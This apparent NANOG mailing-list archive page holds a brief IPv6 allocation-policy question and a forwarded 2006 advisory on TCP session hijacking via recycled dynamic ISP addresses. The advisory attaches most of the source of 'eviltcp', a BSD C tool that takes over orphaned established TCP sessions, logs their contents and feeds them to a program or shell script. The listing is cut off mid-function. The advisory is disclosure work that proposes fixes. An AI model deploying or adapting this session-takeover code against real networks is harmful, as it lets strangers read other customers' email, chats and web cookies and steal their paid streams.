- Test - lists.nanog.org

Global IPv6 (IANA -> RIR) policy question
by David Conrad 20 Jul '06

20 Jul '06

[Apologies for duplicates] Hi, IANA has been asked to provide input to ICANN's board on the RIR- consensus global IPv6 allocation policy (see http://www.icann.org/ announcements/announcement-14jul06.htm for details), so I'm looking to understand what folks in the operational community think. One question would be the choice of /12 as the minimum allocation size for IANA to allocate IPv6 addresses to the RIRs. Do folks consider this: a) just right b) too little c) too much d) why are you annoying me with this? Another question: does your answer change with changes to either a more conservative HD ratio or a longer minimum end user prefix length? Thanks! Rgds, -drc

1 0

Consumers of Broadband Providers (ISP) may be open to hijack attacks (fwd)
by Gadi Evron 19 Jul '06

19 Jul '06

---------- Forwarded message ---------- Date: Sun, 16 Jul 2006 06:36:15 +0200 (CEST) From: peter_philipp(a)freenet.de To: security(a)heise.de Cc: bugtraq(a)securityfocus.com, risks(a)csl.sri.com, red(a)heisec.de Subject: Consumers of Broadband Providers (ISP) may be open to hijack attacks For this risk advisory in german please search down to "D> Deutsche Version". >Originator: Peter Philipp >Organization: Daemonic Networks >Synopsis: Consumer of Broadband Providers (ISP) may be open to hijack attacks >Severity: serious >Priority: medium >Category: network security >Class: systemic flaw >Description: Some ISP networks do not reset open TCP connections of customers that were either cut-off by the ISP or cut off by self-initiation. While it is responsibility of every person to terminate every open connection before link termination, when the ISP initiates this, it cannot be guaranteed. A customer who happens to resume a recycled dynamic IP can then read the previous persons open sessions. With streaming mp3 radio services that work on a per-pay basis, this can result in substantial monetary losses, not to mention porn streaming. Further unencrypted email can be read and website cookies can be assumed to continue private Web sessions. >How-To-Repeat: With a stateful firewall one can determine TCP traffic that has no state registered with the firewall and if the TCP flags do not match SYN, FIN, or RST, one can assume open connection and continue them. Interesting things have been captured, including, IRC chat sessions, HTTP downloads and POP3 sessions theoretically could also be continued. Software[1] written for BSD Unix follows this advisory, that can re-assume open sessions. >Fix: After a dynamic customer terminates a broadband connection, network access servers should terminate any TCP traffic with an RST reply, and give at least a minute time for any retransmissions to be caught. If this is not wanted by the network architect, perhaps a stateful firewall keeping states for customers per session. This is not a good solution though because some people do not want a firewall between their end-user connection and the open Internet, their privacy from this should be accepted. Another security programmer that I contacted, suggested that dynamic IP addresses perhaps be more static with end-users, but I personally don't think this is a good solution either as this puts the anonymity of end-users at stake, and goes against the philosophy of anonymity that the forefathers of the Internet thought out. On the consumers side one can protect themselves by only using encrypted communications, as this makes reading of personal data difficult. >Thank yous: Thanks to Daniel Hartmeier for his suggestions on how to remedy this. >Anniversaries: On this day 12 years ago, in 1994, Comet Shoemaker-Levy 9 first touched Jupiter and left considerable scars. When will humankind realise that nature has not ceased being your foe. Stop wasting resources warring each other and prepare against your true enemy, that being nature. Nature will never allow humankind to replace it as humankinds prime enemy. D> Deutsche Version D> Bericht von: Peter Philipp D> Organisation: Daemonic Networks D> Beschreibung: Vebraucher von Breitband Provider (ISP) koennten Hijack-Attacken erleben D> Einstufung: ernst D> Prioritaet: mittel D> Kategorie: Netzwerk Sicherung D> Klasse: Systematischer Fehler D> Detailierte Beschreibung: Manche ISP Netzwerke terminieren offene TCP Verbindungen nicht, von Kunden die entweder abgeschnitten vom ISP, oder selbst die Broadband Verbindung getrennt haben. Da es die eigene Verantwortung von jeder Person ist ihre eigenen TCP Verbindungen zu trennen, bevor sie ihr Breitband trennen oder den Computer abschalten, kann man nichts sagen. Aber wenn der ISP die Trennung iniziert ist es die Verantwortung des ISPs die offenen TCP Verbindungen auch zu trennen. Ein Kunde der auf einer wiederbenutzten Dynamischen IP Adresse stoesst, die offene TCP Verbindungen haelt, kann man die Verbindung weiter steuern und Private Daten ablesen. Mit MP3 Streaming von Online-Radio das auf Bezahlung ihre Musik teilt dies kann teuer werden. Auch mit Porn-Streaming. Weiter koennen unverschluesselte E-Mails gelesen werden und Web Cookies koennen Authentifizierte Web Verbindungen uebernehmen and Persoenliche Daten koennen gelesen werden. D> Wie zu wiederholen: Mit einer "stateful" Firewall kann man TCP Verbindungen/Packete aussortieren die keine registrierten "states" (zustaende) haben und die nicht die TCP Flaggen SYN, FIN oder RST besitzen. Somit kann die Verbindung weiter uebernommen werden (TCP Hijack). Interessante Dinge sind schon bereits abgelesen worden waerend der Demo-Software Implementierungs Phase, so wie IRC Chat, HTTP Verbindungen und theoretisch POP3 Verbindungen die nicht verschluesselt sind. Software[1] geschrieben auf BSD Unix ist am Ende dieser Nachricht angebunden, das diesen Fehler ausnuetzt. D> Behebung: Nachdem ein Dynamisch-IP nutzender Kunde die Breitband Verbindung trennt, sollten Netzwerk Access Server alle TCP Verbindungen/Packete trennen mit einem TCP RST die nach der Trennung noch vom Netz zu der IP fliessen. Wenigstens fuer eine Minute sollte kein neuer Kunde die IP Adressen uebernehmen um zu Garantieren das alle wiederholten TCP Transmissionen (engl. retransmissions) abgekuerzt werden koennen. Falls der angehoerige Netzwerk Architekt dies nicht bevorzugt fuer was-auch-immer Gruende, koennte eine Stateful Firewall einzelne Kunden-Verbindungen schuetzen. Dies ist nicht geraten da es Komplex ist und nicht die Privatsphaere des Verbrauchers schuetzt. Manche Kunden wollen auch keine Firewall zwischen ihnen und dem offenen Netz, und ihre wuensche sollten akzeptiert werden. Ein Security Programmierer mit dem ich Kontakt hatte, schlug vor das vielleicht Dynamische IP Adressen des Verbrauchers mehr Statisch gemacht werden, aber persoenlich denke ich das dies nicht eine Loesung ist. Es geht gegen die Internet Philosophie der Anonymitaet. Und koennte der Privatsphaere eines Breitband Kundens schaden. Einzelne Kunden koennen sich schuetzen mit Verschluesselten Protokollen, da es das lesen Privater Daten erschwert. D> Dankeschoens: Vielen dank zu Daniel Hartmeier fuer seine Hilfe Loesungen zu finden. D> An diesem Tag: An diesem Tag vor 12 Jahren, in 1994, beruehrte der Komet Shoemaker-Levy 9 zuerst den Planeten Jupiter und hinterlies betraechtliche Wunden. Wann wird die Menschheit einsehen das die Natur, unser eigentlicher Feind, nie besiegt wurde. Stoppt die Verschwenderei von Krieg gegen euch selber und macht euch bereit der Natur ins Auge zu sehen, wenn Sie kommt. Die Natur wird nie erlauben das der Mensch Sie vergisst als den groessten Feind der Menschheit. [1] /* * Copyright (c) 2006 Peter Philipp * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ /* * this is an evil tcp server, it allows taking over states that are already * in the established state, based on mytcp */ #include <sys/param.h> #include <sys/socket.h> #ifdef __OpenBSD__ #include <sys/timeout.h> #endif #include <sys/time.h> #include <sys/wait.h> #include <sys/sysctl.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <net/if.h> #include <net/if_tun.h> #include <net/if_arp.h> #include <net/ethertypes.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_var.h> #include <netinet/ip_icmp.h> #include <netinet/if_ether.h> #define TCPSTATES #include <netinet/tcp_fsm.h> #include <netinet/tcp_timer.h> #include <netinet/tcp_seq.h> #include <netinet/tcp.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <pcap.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <pwd.h> /* #include "pjp.h" */ #ifndef TCPS_RESET #define TCPS_RESET 11 #endif #define POINT_A "192.168.0.1" #define POINT_B "192.168.0.2" #define NETMASK "255.255.255.0" #define POINT_C "192.168.1.1" int schedfin = 0; int sigpipe = 0; u_int16_t win = 0x4000; int blast = 1; pcap_t *p; /* unfortunate */ int clogger; /* XXX */ char *exec_prog = "/bin/date"; const u_int32_t gaf = AF_INET; char *script = NULL; int use_script = 0; char *pointa = POINT_A , *pointb = POINT_B; char *netmask = NETMASK; int run_privileged = 0; u_char mymac[ETHER_ADDR_LEN]; u_char routermac[ETHER_ADDR_LEN]; u_char broadcastmac[ETHER_ADDR_LEN]; in_addr_t myip; in_addr_t routerip; extern char **environ; struct sess { int raw; /* XXX */ int state; /* state of socket */ int fd; /* socketpair end */ u_int16_t mss; /* MSS of remote */ u_int32_t ack; /* connection ack */ u_int32_t seq; /* connection seq */ in_addr_t remote; /* remote ip */ in_addr_t local; /* local ip */ u_short rport; /* remote port */ u_short lport; /* local port */ u_int8_t ttl; /* TTL XXX */ time_t syntime; /* replied syn timer */ time_t last_used; /* last time this was used */ int sigpipe; /* received a pipe */ char *data; /* data read */ pid_t child; /* script child */ int totallen; /* total data read */ int len; /* data read len */ struct sess *previous; /* previous */ struct sess *next; /* next */ }; /* prototypes */ u_int16_t ip_cksum(u_int16_t *p, int len); u_int16_t tcp_cksum(u_int16_t *addr, int len, struct ip *ip); void handler(int fd, u_char *data, int len, u_char *session); void reply_arp(int fd, u_char *data, int len); void synack(struct sess*); void send_ack(struct sess*, u_int8_t, int); void onpipe(int); void onchld(int); void onalrm(int); void print_state(int); void sendfin(struct sess *s); void get_data(struct sess *, u_char *, int); int get_ifmtu(char *name); int clog_port(void); int send_push(struct sess *, u_int8_t, char *, int); int set_ip4header(struct ip *ip, struct ip *hints); int oursocket(struct sess *, struct ip *, struct tcphdr *); int open_raw(int proto); u_long inc_seq(u_long seq, int inc); int open_tunnel(void); int open_tun(char *name, int len); int set_tunmode(int fd, int mode); int check_tundev(int fd); int del_ifip(char *name, char *ip); int set_ifip(char *name, char *, char *, int af); int set_ifpop(char *name, char *point1, char *point2, char *netmask); short get_ifflags(char *name); int set_ifflags(char *name, short flags); int set_ifup(char *name); int set_ifdown(char *name); int set_ifmtu(char *name, int mtu); int get_ifmtu(char *name); in_addr_t get_ifaddr(char *name); void reply_icmp(int, char *, int); void arplookup(int); int write_frame(int, char *, int); /* mainly nonsense */ int main(int argc, char *argv[]) { pid_t pid; int fd[2]; int status; int logfd; char *logfile = "/root/eviltcp.log"; struct bpf_program bp; struct sess SESSION; struct sess *init_pcb; struct sess *cur_pcb; struct sess *tmp_pcb; int mode, rlen; int i; char *interface = "lo0"; char *buf, *port = "80"; char *buf2; char compile_str[512]; int mtu; int sfd; u_char tbuf[2000]; int len; struct in_addr dummy; char *safe_data, *p; memset(broadcastmac, 0xff, sizeof(broadcastmac)); while ((i = getopt(argc, argv, "a:b:c:i:l:n:p:r:s:P")) != -1) { switch (i) { case 'l': logfile = optarg; break; case 'a': if (inet_aton(optarg, &dummy) != 1) { fprintf(stderr, "flag a: invalid address %s\n", optarg); exit(1); } pointa = optarg; myip = inet_addr(pointa); mymac[0] = 0; memcpy ((char *)&mymac[1], (char *)&myip, sizeof(u_int32_t)); mymac[5] = 0x1; break; case 'b': if (inet_aton(optarg, &dummy) != 1) { fprintf(stderr, "flag b: invalid address %s\n", optarg); exit(1); } pointb = optarg; break; case 'n': if (inet_aton(optarg, &dummy) != 1) { fprintf(stderr, "flag n: invalid netmask %s\n", optarg); exit(1); } netmask = optarg; break; case 'c': exec_prog = optarg; break; case 'i': interface = optarg; break; case 'p': port = optarg; break; case 'r': routerip = inet_addr(optarg); break; case 's': script = optarg; use_script = 1; break; case 'P': run_privileged = 1; break; default: exit(1); break; } } chdir("/"); #if 0 if ((mtu = get_ifmtu(interface)) < 0 || mtu > 1500) mtu = 1500; /* set some default */ #endif mtu = 1500; mtu -= (sizeof(u_int32_t) + sizeof(struct ip) + sizeof(struct tcphdr)); if ((buf = calloc(1, mtu)) == NULL) { perror("calloc"); exit(1); } if ((buf2 = calloc(1, mtu)) == NULL) { perror("calloc"); exit(1); } signal(SIGPIPE, onpipe); signal(SIGCHLD, onchld); signal(SIGALRM, onalrm); memset(&SESSION, 0, sizeof(SESSION)); sfd = open_tunnel(); /* find out our router's MAC address */ arplookup(sfd); /* initialize first pcb's */ if ((init_pcb = calloc(1, sizeof(struct sess))) == NULL) { perror("calloc"); exit(1); } init_pcb->state = TCPS_LISTEN; /* initial in listen state */ init_pcb->next = NULL; /* end of chain */ #if 0 if ((init_pcb->raw = open_raw(IPPROTO_RAW)) < 0) { perror("open_raw"); exit(1); } #endif init_pcb->raw = sfd; if (mode = fcntl(sfd, F_GETFL, 0) < 0) perror("fcntl"); if (fcntl(sfd, F_SETFL, mode | O_NONBLOCK) < 0) perror("fcntl"); daemon(0,0); /* mainloop */ for (;;) { for (cur_pcb = init_pcb->previous; cur_pcb != NULL; cur_pcb = cur_pcb->previous) { switch (cur_pcb->state) { case TCPS_LISTEN: /* NOOP */ break; case TCPS_ESTABLISHED: /* do needed processing */ if (cur_pcb->len > 0) { #if 0 printf("writing %d bytes\n", cur_pcb->len); #endif if (use_script) { safe_data = malloc(cur_pcb->len); if (safe_data != NULL) { memcpy(safe_data, cur_pcb->data, cur_pcb->len); p = safe_data; for (i = 0; i < cur_pcb->len; i++) { if (*p == '`' || *p == '$') { *p = '.'; } p++; } errno = 0; if (write(cur_pcb->fd, safe_data, cur_pcb->len) < 0) { if (errno == EPIPE) cur_pcb->sigpipe = 1; break; } free(safe_data); } } else { errno = 0; if (write(cur_pcb->fd, cur_pcb->data, cur_pcb->len) < 0) { if (errno == EPIPE) cur_pcb->sigpipe = 1; break; } } logfd = open(logfile, O_CREAT | O_APPEND | O_WRONLY | O_EXLOCK, 0600); if (logfd != -1) { write(logfd, cur_pcb->data, cur_pcb->len); close(logfd); } /* update our ack as we wrote the data to the application */ cur_pcb->ack = inc_seq(cur_pcb->ack, cur_pcb->len); send_ack(cur_pcb, TH_ACK, cur_pcb->ack); /* XXX */ cur_pcb->last_used = time(NULL); free (cur_pcb->data); cur_pcb->data = NULL; cur_pcb->totallen += cur_pcb->len; cur_pcb->len = 0; } errno = 0; if ((rlen = recv(cur_pcb->fd, buf, mtu, 0)) < 0) { if (errno == EWOULDBLOCK) { #if 0 printf("blocked on input breaking out\n"); #endif break; } perror("recv"); break; } if (rlen == 0) { /* * send a fin only if we had written * data before and there ain't nothing * coming back */ if (cur_pcb->totallen) { /* send fin */ sendfin(cur_pcb); cur_pcb->state = TCPS_FIN_WAIT_1; #if 0 printf("pcb %x state now FIN_WAIT_1\n", cur_pcb); #endif } break; } if (recv(cur_pcb->fd, buf2, mtu, MSG_PEEK) == 0) { #if 0 printf("peeked and ending conn\n"); #endif while (send_push(cur_pcb, TH_FIN, buf, rlen) < 0) ; cur_pcb->last_used = time(NULL); cur_pcb->seq = inc_seq(cur_pcb->seq, rlen); cur_pcb->state = TCPS_FIN_WAIT_1; #if 0 printf("pcb %x state now FIN_WAIT_1\n", cur_pcb); #endif break; } /* else */ while (send_push(cur_pcb, 0, buf, rlen) < 0) ; cur_pcb->seq = inc_seq(cur_pcb->seq, rlen); cur_pcb->last_used = time(NULL); break; case TCPS_FIN_WAIT_1: /* active close do nothing */ break; case TCPS_FIN_WAIT_2: /* this is another do nothing unfortunately */ break; case TCPS_TIME_WAIT: /* we're on the timeout list ignore */ break; case TCPS_CLOSE_WAIT: /* we've received a FIN, send ack, send fin */ /* send ack */ /* send fin */ cur_pcb->state = TCPS_LAST_ACK; #if 0 printf("pcb %x state now LAST_ACK\n", cur_pcb); #endif break; case TCPS_RESET: /* send reset */ cur_pcb->state = TCPS_CLOSED; #if 0 printf("pcb %x state now CLOSED\n", cur_pcb); #endif break; case TCPS_CLOSED: /* this socket is closed remove it */ break; } } errno = 0; if ((len = read(sfd, tbuf, sizeof(tbuf))) < 0) { if (errno != EWOULDBLOCK) perror("read"); goto end; } if (len > 0) handler(sfd, tbuf, len, (u_char*)init_pcb); end: usleep(500); for (cur_pcb = init_pcb->previous; cur_pcb != NULL; cur_pcb = cur_pcb->previous) { time_t now; now = time(NULL); if (difftime(now, cur_pcb->last_used) >= 300) { close(cur_pcb->fd); kill(cur_pcb->child, SIGTERM); cur_pcb->next->previous = cur_pcb->previous; if (cur_pcb->previous != NULL) { cur_pcb->previous->next = cur_pcb->next; tmp_pcb = cur_pcb; cur_pcb = cur_pcb->next; free(tmp_pcb); } else { free(cur_pcb); break; } } } } /* NOTREACHED */ } void handler(int sfd, u_char *data, int len, u_char *session) { struct ip *ip; struct tcphdr *tcp; struct sess *s; struct ether_header *eh = (struct ether_header *)data; struct sess *init_pcb; struct sess *cur_pcb, *next_pcb; int optlen; int i, raw; int mode; int fd[2]; char *prog; uid_t uid; struct passwd *pw; pid_t pid; #if 0 printf("in handler\n"); #endif s = (struct sess *) session; init_pcb = (struct sess *)session; raw = s->raw; if (ntohs(eh->ether_type) == ETHERTYPE_ARP) { reply_arp(sfd, data, len); return; } if (memcmp(broadcastmac, eh->ether_dhost, sizeof(broadcastmac)) == 0 || (eh->ether_dhost[0] & 0x1 == 0x1) || (ntohs(eh->ether_type) != ETHERTYPE_IP )) { /* not an ip or arp frame, or destined for broadcast/multicast */ return; } data += sizeof(struct ether_header); len -= sizeof(struct ether_header); if (len < sizeof(struct ip)) { return; } #if 0 printf("recieved packet\n"); for (i=0; i< len; i++) { printf("%02x", data[i] & 0xff); if (i && i % 16 == 0) printf("\n"); } printf("\n"); #endif ip = (struct ip *)data; /* IP options not recognized */ if (ip->ip_hl << 2 != sizeof(struct ip)) return; if (ip_cksum((u_int16_t *)ip, sizeof(struct ip)) != 0) return; if (ip->ip_v != IPVERSION) return; if (ip->ip_p == IPPROTO_ICMP) { reply_icmp(sfd, data, len); return; } if (ip->ip_p != IPPROTO_TCP) { return; } data += sizeof(struct ip); len -= sizeof(struct ip); if (len < sizeof(struct tcphdr)) return; tcp = (struct tcphdr*)data; data += sizeof(struct tcphdr); len -= sizeof(struct tcphdr); /* we only want to process foreign packets, our own is irrelevant */ if (ip->ip_src.s_addr == s->local && tcp->th_sport == s->lport) return; /* checksum tcp header */ if (tcp_cksum((u_int16_t *)tcp, len + sizeof(struct tcphdr), ip) != 0) return; /* pullup options */ if ((optlen = ((tcp->th_off << 2) - sizeof(struct tcphdr))) > 0) { if (optlen > len) return; data += optlen; len -= optlen; } #if 0 printf("len now = %d\n", len); #endif /* find corresponding PCB */ for (cur_pcb = init_pcb; cur_pcb != NULL; cur_pcb = cur_pcb->previous) { if (cur_pcb->local == ip->ip_dst.s_addr && cur_pcb->remote == ip->ip_src.s_addr && cur_pcb->lport == tcp->th_dport && cur_pcb->rport == tcp->th_sport) { /* we have one such pcb in our list */ break; } } if (cur_pcb == NULL) { #if 0 printf("creating new pcb\n"); #endif /* create new pcb and attach at front of chain */ if ((cur_pcb = calloc(1, sizeof(struct sess))) == NULL) { perror("calloc"); /* oh dear */ } if ((tcp->th_flags & TH_FIN) == TH_FIN || (tcp->th_flags & TH_RST) == TH_RST || (tcp->th_flags & TH_SYN) == TH_SYN) { /* send rst, not for us */ free(cur_pcb); return; } cur_pcb->next = init_pcb; cur_pcb->previous = NULL; init_pcb->previous = cur_pcb; cur_pcb->state = TCPS_ESTABLISHED; cur_pcb->local = ip->ip_dst.s_addr; cur_pcb->remote = ip->ip_src.s_addr; cur_pcb->lport = tcp->th_dport; cur_pcb->rport = tcp->th_sport; cur_pcb->seq = tcp->th_ack; cur_pcb->ack = tcp->th_seq; cur_pcb->raw = init_pcb->raw; if (socketpair(AF_UNIX, SOCK_STREAM, 0, (int *)&fd) < 0) { perror("socketpair"); return; } switch (pid = fork()) { case -1: perror("fork"); return; case 0: /* drop privileges */ pw = getpwnam("nobody"); if (pw != NULL) { uid = pw->pw_uid; } else { uid = -1; } if (! run_privileged ) setresuid(uid, uid, uid); /* child */ /* XXX */ close(fd[0]); dup2(fd[1], STDIN_FILENO); dup2(fd[1], STDOUT_FILENO); close(fd[1]); { char tbuf[512]; snprintf(tbuf, sizeof(tbuf), "EVILTCP_TTL=%d", cur_pcb->ttl); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_SRCIP=%s", inet_ntoa(cur_pcb->remote)); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_DSTIP=%s", inet_ntoa(cur_pcb->local)); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_SRCPORT=%u", ntohs(cur_pcb->rport)); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_DSTPORT=%u", ntohs(cur_pcb->lport)); putenv(tbuf); } prog = strrchr(exec_prog, '/'); prog++; if (use_script) { execle("/bin/sh", "sh", "-c", script, NULL, environ); } else { execle(exec_prog, prog, NULL, environ); } perror("execl"); exit(1); default: close(fd[1]); cur_pcb->fd = dup(fd[0]); cur_pcb->child = pid; close(fd[0]); if (mode = fcntl(cur_pcb->fd, F_GETFL, 0) < 0) perror("fcntl"); if (fcntl(cur_pcb->fd, F_SETFL, mode | O_NONBLOCK) < 0) perror("fcntl"); break; } #if 0 printf("pcb %x state now SYN_RECEIVED\n", cur_pcb); #endif /* init_pcb = cur_pcb; */ #if 0 return; /* no need to go further */ #endif } cur_pcb->last_used = time(NULL); #if 0 printf("pcb %x state: ", cur_pcb); print_state(cur_pcb->state); #endif switch (cur_pcb->state) { case TCPS_LISTEN: break; case TCPS_ESTABLISHED: if (len <= 0) break; get_data(cur_pcb, data, len); /* XXX */ #if 0 printf("cur_pcb->len = %d\n", cur_pcb->len); #endif break; /* * Remember, any and all packets can come in unordered, XXX * good thing there is retransmissions */ case TCPS_FIN_WAIT_1: if (tcp->th_flags == TH_ACK && tcp->th_ack == inc_seq(cur_pcb->seq, 1)) { cur_pcb->seq = inc_seq(cur_pcb->seq, 1); cur_pcb->state = TCPS_FIN_WAIT_2; #if 0 printf("pcb %x state now FIN_WAIT_2\n", cur_pcb); #endif } break; case TCPS_FIN_WAIT_2: if (tcp->th_flags & (TH_FIN | TH_ACK) != (TH_FIN | TH_ACK)) { /* reset ? */ } /* * XXX, got FIN ack it, this is the only time that we send * any packet in the handler */ // cur_pcb->ack = inc_seq(cur_pcb->ack, 1); send_ack(cur_pcb, TH_RST, cur_pcb->ack); cur_pcb->last_used = time(NULL); cur_pcb->state = TCPS_TIME_WAIT; #if 0 printf("pcb %x state now TIME_WAIT\n", cur_pcb); #endif break; default: break; } return; } void synack(struct sess *s) { send_ack(s, TH_SYN | TH_ACK, inc_seq(s->ack, 1)); s->last_used = time(NULL); return; } void send_ack(struct sess *sess, u_int8_t flags, int inc) { u_char buf[sizeof(struct ip) + sizeof(struct tcphdr)]; struct ip *new_ip; struct ip hints; struct tcphdr *new_tcp; struct sockaddr_in sin; int s; int on = 1; int i; u_int32_t *af; s = sess->raw; #if 0 af = (u_int32_t *)&buf[0]; new_ip = (struct ip *)&buf[sizeof(u_int32_t)]; new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)]; #endif new_ip = (struct ip *)&buf[0]; new_tcp = (struct tcphdr*)&buf[sizeof(struct ip)]; memset(buf, 0, sizeof(buf)); memset(&hints, 0, sizeof(hints)); hints.ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr)); hints.ip_p = IPPROTO_TCP; hints.ip_src.s_addr = sess->local; hints.ip_dst.s_addr = sess->remote; set_ip4header(new_ip, &hints); new_tcp->th_sport = sess->lport; new_tcp->th_dport = sess->rport; new_tcp->th_seq = sess->seq; new_tcp->th_ack = inc; new_tcp->th_off = sizeof(struct tcphdr) >> 2; new_tcp->th_flags = TH_ACK | (flags); new_tcp->th_win = htons(0x4000); new_tcp->th_sum = 0; new_tcp->th_urp = 0; /* compute checksums? */ new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr), new_ip); new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip)); memset((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = sess->remote; #if 0 for (i = 0; i < sizeof(buf); i++) { printf("%02x", buf[i] & 0xff); if (i && i % 16 == 0) { printf("\n"); } } printf("\n"); #endif if (write_frame(s, buf, sizeof(buf)) < 0) { perror("write_frame 1"); } } /* * A good idea to disable functionality of a port */ int clog_port(void) { struct sockaddr_in sin; int s; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { perror("socket"); return -1; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr("172.16.0.2"); if (bind(s, (struct sockaddr*)&sin, sizeof(sin)) < 0) { perror("bind"); return -1; } return s; } void print_state(int state) { if (state == TCPS_RESET) return; printf("state = %s\n", tcpstates[state]); return; } u_long inc_seq(u_long seq, int inc) { int _seq; _seq = ntohl(seq); _seq += inc; return(htonl(_seq)); } void sendfin(struct sess *sess) { u_char buf[sizeof(struct ip) + sizeof(struct tcphdr)]; struct ip *new_ip; struct ip hints; struct tcphdr *new_tcp; struct sockaddr_in sin; int s; int on = 1; int i; u_int32_t *af; s = sess->raw; #if 0 af = (u_int32_t *)&buf[0]; new_ip = (struct ip *)&buf[sizeof(u_int32_t)]; new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)]; #endif new_ip = (struct ip *)&buf[0]; new_tcp = (struct tcphdr*)&buf[sizeof(struct ip)]; memset(buf, 0, sizeof(buf)); memset(&hints, 0, sizeof(hints)); hints.ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr)); hints.ip_p = IPPROTO_TCP; hints.ip_src.s_addr = sess->local; hints.ip_dst.s_addr = sess->remote; set_ip4header(new_ip, &hints); new_tcp->th_sport = sess->lport; new_tcp->th_dport = sess->rport; new_tcp->th_seq = sess->seq; new_tcp->th_ack = sess->ack; new_tcp->th_off = sizeof(struct tcphdr) >> 2; new_tcp->th_flags = TH_FIN | TH_ACK; new_tcp->th_win = htons(0x4000); new_tcp->th_sum = 0; new_tcp->th_urp = 0; /* compute checksums? */ new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr), new_ip); new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip)); memset((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; if (write_frame(s, buf, sizeof(buf)) < 0) { perror("write_frame 2"); } } void onpipe(int nono) { sigpipe = 0; } void onalrm(int non) { return; } void onchld(int nono) { int status; while (waitpid(0, &status, WNOHANG) > 0) ; /* sigpipe = 1; */ } int oursocket(struct sess *s, struct ip *ip, struct tcphdr *tcp) { if (s->rport != tcp->th_sport || s->lport != tcp->th_dport || s->remote != ip->ip_src.s_addr || s->local != ip->ip_dst.s_addr) return -1; return 0; } int send_push(struct sess *sess, u_int8_t flags, char *data, int datalen) { u_char *buf; struct ip *new_ip; struct ip hints; struct tcphdr *new_tcp; struct sockaddr_in sin; int s; int on = 1; int i, newlen; u_int32_t *af; s = sess->raw; newlen = sizeof(struct ip) + sizeof(struct tcphdr) + datalen; buf = calloc(1, newlen); if (buf == NULL) { perror("calloc"); return; } #if 0 af = (u_int32_t *)&buf[0]; new_ip = (struct ip *)&buf[sizeof(u_int32_t)]; new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)]; #endif new_ip = (struct ip *)&buf[0]; new_tcp = (struct tcphdr *)&buf[sizeof(struct ip)]; memcpy((char*)(buf + sizeof(struct ip) + sizeof(struct tcphdr)),data, datalen); memset(&hints, 0, sizeof(hints)); hints.ip_len = htons(newlen); hints.ip_p = IPPROTO_TCP; hints.ip_src.s_addr = sess->local; hints.ip_dst.s_addr = sess->remote; set_ip4header(new_ip, &hints); new_tcp->th_sport = sess->lport; new_tcp->th_dport = sess->rport; new_tcp->th_seq = sess->seq; new_tcp->th_ack = sess->ack; new_tcp->th_off = sizeof(struct tcphdr) >> 2; new_tcp->th_flags = TH_PUSH | TH_ACK | flags; new_tcp->th_win = htons(0x4000); new_tcp->th_sum = 0; new_tcp->th_urp = 0; /* compute checksums? */ new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr) + datalen, new_ip); new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip)); memset((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; if (write_frame(s, buf, newlen) < 0) { perror("write_frame 3"); free(buf); return -1; } free(buf); return 0; } /* ----------------------------------- IMPORTED ----------------------- */ /* BEGIN ip_cksum */ /* * IP_CKSUM - compute the ones complement sum of the ones complement of 16 bit * numbers */ u_int16_t ip_cksum(u_int16_t *p, int len) { register int nleft = len; register u_int16_t *w = p; register int sum = 0; u_int16_t answer; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } /* END ip_cksum */ /* BEGIN tcp_cksum */ /* * TCP_CKSUM - compute the checksum with a pseudo header of the IP packet * */ u_int16_t tcp_cksum(u_int16_t *addr, int len, struct ip *ip) { union { 